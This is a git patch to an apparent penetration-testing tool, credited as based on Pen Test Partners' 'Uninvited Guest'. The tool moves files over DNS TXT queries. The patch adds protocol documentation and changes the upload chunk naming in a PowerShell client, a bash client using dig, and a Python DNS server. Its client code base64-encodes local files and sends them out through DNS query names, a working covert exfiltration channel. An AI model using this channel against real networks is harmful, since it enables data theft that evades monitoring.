From 7c6fdb7d01525b91bde1803fce27554e5e0d7560 Mon Sep 17 00:00:00 2001 From: Simon Moser Date: Sun, 6 Feb 2022 18:17:22 +0100 Subject: [PATCH] Documentation added --- README.md | 14 +++++++++++++- client.ps1 | 2 +- client.sh | 2 +- server.py | 2 +- 4 files changed, 16 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index ee8f37a..952656b 100644 --- a/README.md +++ b/README.md @@ -16,4 +16,16 @@ Then run the python server: It will only support a flat directory structure in /dir/of/tools -Strongly based on [Uninvited Guest by Pen Test Partners](https://github.com/pentestpartners/Uninvited-Guest) \ No newline at end of file +Strongly based on [Uninvited Guest by Pen Test Partners](https://github.com/pentestpartners/Uninvited-Guest) + +## Documentation +### Download +1. TXT `$filename.count.$dnsserver` returns the number of parts the file is split into +2. TXT `$filename.$i.$dnsserver` returns the base64-encoded file part #*$i* + +### Upload +- TXT `$content.$i-$id.$dnsserver` pushes a file part to the server + - the whole domain MUST NOT be longer than 63 characters, split your file accordingly + - since only alphanumerical characters are allowed, encode your file with base64 + - Count up *$i* so you don't get problems with caching (the server only used chronological order, so you can also use random numbers if you prefer that) +- The (base64-encoded) file is saved at *$directory*/*$id*.b64 diff --git a/client.ps1 b/client.ps1 index 0a1d1f6..09f9ee1 100644 --- a/client.ps1 +++ b/client.ps1 @@ -30,7 +30,7 @@ Function Push-DNSFile { $content = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes((Get-Content -Path $FileName))) $i = 0 While ($true) { - $url = ".$i-${id}u.$DnsName" + $url = ".$i-$id.$DnsName" $len = 63 - $url.Length $i++ if($len -lt $content.Length) { diff --git a/client.sh b/client.sh index 49d18c4..c6ab2cd 100755 --- a/client.sh +++ b/client.sh @@ -13,7 +13,7 @@ then else i=0; d=$(base64 -w 0 < "$f"); id=$(sha256sum "$f" | cut -d" " -f1 | base64 -w 0 | cut -c1-6) while true; do - u=".$i-${id}u.$s"; ((i++)); x=$((63-${#u})) + u=".$i-$id.$s"; ((i++)); x=$((63-${#u})) if [ $x -lt ${#d} ] then p=${d:0:$x}; d=${d:$x}; dig +short txt "$p$u" else dig +short txt "$d$u"; exit 0 diff --git a/server.py b/server.py index 1a467de..c5afb54 100755 --- a/server.py +++ b/server.py @@ -84,7 +84,7 @@ class FileResolver(BaseResolver): pname = '.'.join(parts[:-2]) path = self.directory + "/" + pname command = ''.join(parts[-2:-1]) - if command.endswith("u"): + if "-" in command: with open(args.directory + command.split('-')[1] + ".b64", 'a') as f: f.write(str(pname) + "\n") reply.add_answer(RR(name, QTYPE.TXT, ttl=self.ttl, rdata=TXT("Upload accepted")))